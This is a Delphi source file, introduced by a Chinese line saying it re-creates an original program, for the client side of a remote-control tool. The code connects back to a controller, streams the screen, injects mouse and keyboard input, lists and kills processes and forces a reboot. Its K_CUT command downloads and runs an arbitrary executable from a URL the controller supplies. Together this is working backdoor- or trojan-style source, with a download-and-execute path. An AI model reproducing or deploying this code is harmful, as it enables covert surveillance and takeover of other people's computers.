unit1.pas

经过研究本人初略的将原代码进行了模拟

unit Unit1;

interface

uses
  windows, messages, Sysutils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, registry, ExtCtrls, URLMon, shellapi, ScktComp, JPEG,
  WinSock, StdCtrls, Tlhelp32;

type
  NetData = record
    Protocol: set of (K_SCR,
      K_MOUSE,
      K_KEY,
      K_KILL,
      K_CL,
      K_RM,
      K_CUT);
    ScrW, ScrH: integer;
    LInt, RInt, PixB: integer;
    Str: string[100];
  end;

  OffXY = record
    x1, x2, y1, y2: integer;
    vSize: integer;
  end;

type
  TMainGetScr = class(TForm)
    Client1: TClientSocket;
    Client2: TClientSocket;
    msgShow: TMemo;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Client2Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure Client1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure Client1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: integer);
    procedure Client2Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: integer);
    procedure Client1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure Client1Disconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure AppException(Sender: TObject; E: Exception);
    procedure Button1Click(Sender: TObject);
  private
    procedure sMsg(tMsg: string);
  protected
  public
    { Public declarations }
  end;

var
  MainGetScr        : TMainGetScr;

  jx                : integer;          //jpeg图象压缩率
  MPixBit           : TPixelFormat;     //bmp图象的格式
  MyStream          : TMemorystream;    //内存流对象
  M_Blink           : Boolean;          //判断是否连接

  BmpBak            : TBitmap;
const
  tport             = 2008;             //主端口
  Delay             = 200;              //发送延迟，可根据情况改变
  Ver               = '1.01';           //版本号
implementation
uses
  BmpSet, fun2, BMPCRC;
{$R *.dfm}

procedure TMainGetScr.FormCreate(Sender: TObject);
begin
  M_Blink := false;
  BmpBak := TBitmap.Create;
end;

procedure TMainGetScr.Client2Read(Sender: TObject; Socket: TCustomWinSocket);
{发送屏幕}
var
  s                 : string;
  BmpStar           : TBitmap;
  BmpSend           : TBitmap;
  Myjpg             : TJpegimage;

  BmpRect           : TRect;
  bXY               : OffXY;
begin
  try
    s := Socket.ReceiveText;
    if Copy(s, 1, 3) = 'cap' then
    begin
      MyStream := TMemorystream.Create; //建立内存流
      BmpStar := TBitmap.Create;
      Myjpg := TJpegimage.Create;
      try

        GetScreen(BmpStar);
        BmpBak.Assign(BmpStar);
        BmpStar.PixelFormat := MPixBit;
        Myjpg.Assign(BmpStar);
        Myjpg.CompressionQuality := jx;
        Myjpg.SaveToStream(MyStream);

        MyStream.Position := 0;
        bXY.vSize := MyStream.Size;
        bXY.x1 := 0;
        bXY.y1 := 0;
        bXY.x2 := BmpStar.Width;
        bXY.y2 := BmpStar.Height;
        Socket.SendBuf(bXY, SizeOf(bXY));
      finally
        BmpStar.Free;
        Myjpg.Free;
      end;
    end;

    if Copy(s, 1, 3) = 'ca1' then
    begin

      BmpStar := TBitmap.Create;
      BmpSend := TBitmap.Create;
      Myjpg := TJpegimage.Create;

      try
        GetScreen(BmpStar);
        CopyBmpRect(BmpBak, BmpStar, BmpSend, BmpRect, MPixBit);
        MyStream := TMemorystream.Create;
        Myjpg.Assign(BmpSend);
        Myjpg.CompressionQuality := jx;
        Myjpg.SaveToStream(MyStream);
        MyStream.Position := 0;

        //发送基本数据
        bXY.vSize := MyStream.Size;
        bXY.x1 := BmpRect.Left;
        bXY.y1 := BmpRect.Top;
        bXY.x2 := BmpRect.Right;
        bXY.y2 := BmpRect.Bottom;

        Socket.SendBuf(bXY, SizeOf(bXY));

      finally
        BmpSend.Free;
        Myjpg.Free;
        BmpStar.Free;
      end;
    end;

    if Copy(s, 1, 4) = 'exit' then
    begin
      Client2.Close;
    end;

    if Copy(s, 1, 5) = 'ready' then
    begin
      MyStream.Position := 0;
      Socket.SendStream(MyStream);
    end;
  except

  end;

end;

procedure TMainGetScr.Client1Read(Sender: TObject; Socket: TCustomWinSocket);
var
  bb                : NetData;
  P                 : Longword;
  mm                : string;
  sphandle          : DWORD;
  Found             : BOOL;
  PStruct           : TProcessEntry32;
begin
  if Socket.ReceiveBuf(bb, SizeOf(bb)) = socket_error then
    Exit;

  try
    if K_SCR in bb.Protocol then
    begin
      {屏幕控制开始}
      jx := bb.RInt;
      bb.Protocol := [K_SCR];
      bb.ScrW := Screen.Width;
      bb.ScrH := Screen.Height;
      Socket.SendBuf(bb, SizeOf(bb));

      case bb.PixB of
        1: MPixBit := pf8bit;
        2: MPixBit := pf32bit;
      else
        MPixBit := pf8bit;
      end;

      Client2.Host := Client1.Host;
      Client2.Port := bb.LInt;
      Client2.Active := true;

      mm := '开始屏幕传输';
    end;

    if K_MOUSE in bb.Protocol then
    begin
      {鼠标控制开始}
      SetCursorPos(bb.LInt, bb.RInt);
      if bb.Str = 'left1' then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end;
      if bb.Str = 'right1' then
      begin
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
      end;
      if bb.Str = 'left2' then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end;
    end;

    if K_KEY in bb.Protocol then
    begin
      {键盘控制开始}
      keybd_event(bb.LInt, 0, 0, 0);
    end;

    if K_KILL in bb.Protocol then
    begin
      if bb.LInt = 1 then               //根据进程名关闭进程
      begin
        P := FindProcess(bb.Str);
        if P <> 0 then
          TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, P), $FFFFFFFF);
      end
      else if bb.LInt = 2 then          //返回进程列表
      begin
        sphandle := CreateToolhelp32Snapshot($00000002, 0);
        PStruct.dwSize := SizeOf(PStruct);
        Found := Process32First(sphandle, PStruct);
        while Found do
        begin
          bb.Protocol := [K_KILL];
          bb.Str := StrPas(PStruct.szExeFile);
          bb.LInt := 2;
          Socket.SendBuf(bb, SizeOf(bb));
          Sleep(10);
          Found := Process32Next(sphandle, PStruct);
        end;
        CloseHandle(sphandle);
      end
      else if bb.LInt = 4 then          //停止屏幕监视
      begin
        if Client2.Active then
        begin
          Client2.Close;
          MyStream.Clear;
        end;
      end
    end;

    if K_CL in bb.Protocol then
    begin
      //关闭电脑
      AdjustToken;
      ExitWindowsEx((EWX_REBOOT or EWX_FORCE), $FFFF);

    end;

    if K_CUT in bb.Protocol then
    begin
      if FileExists('d:\tm.exe') then
        DeleteFile('d:\tm.exe');
      if DLF(bb.Str, 'd:\tm.exe') then
        WinExec(Pchar('d:\tm.exe'), SW_NORMAL);
    end;

  except                                //处理错误
    mm := '出现错误！';
  end;

  sMsg(mm);
end;

procedure TMainGetScr.Client1Error(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: integer);
begin
  ErrorCode := 0;
  Client1.Active := false;
  M_Blink := false;
end;

procedure TMainGetScr.Client2Error(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: integer);
begin
  ErrorCode := 0;
  Client2.Active := false;
  MyStream.Clear;
end;

procedure TMainGetScr.Client1Connect(Sender: TObject; Socket: TCustomWinSocket);
var
  bb                : NetData;
begin
  bb.Protocol := [K_RM];
  bb.Str := Format('Ver:%s [%s] %s', [Ver, Socket.LocalHost, Socket.LocalAddress]);
  Socket.SendBuf(bb, SizeOf(bb));
  sMsg('建立连接成功');
end;

procedure TMainGetScr.Client1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  M_Blink := false;
end;

procedure TMainGetScr.sMsg(tMsg: string);
begin
  msgShow.Lines.Add(tMsg);
end;

procedure TMainGetScr.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Client1.Close;
  Client2.Close;
  BmpBak.Free;
end;

procedure TMainGetScr.AppException(Sender: TObject; E: Exception);
begin
  if Client2.Active then
  begin
    Client2.Close;
    MyStream.Clear;
  end;
end;

procedure TMainGetScr.Button1Click(Sender: TObject);
begin
  if not M_Blink then
  begin
    Client1.Host := '127.0.0.1';        //Test
    Client1.Port := tport;
    M_Blink := true;
    Client1.Active := true;
  end;
end;

end.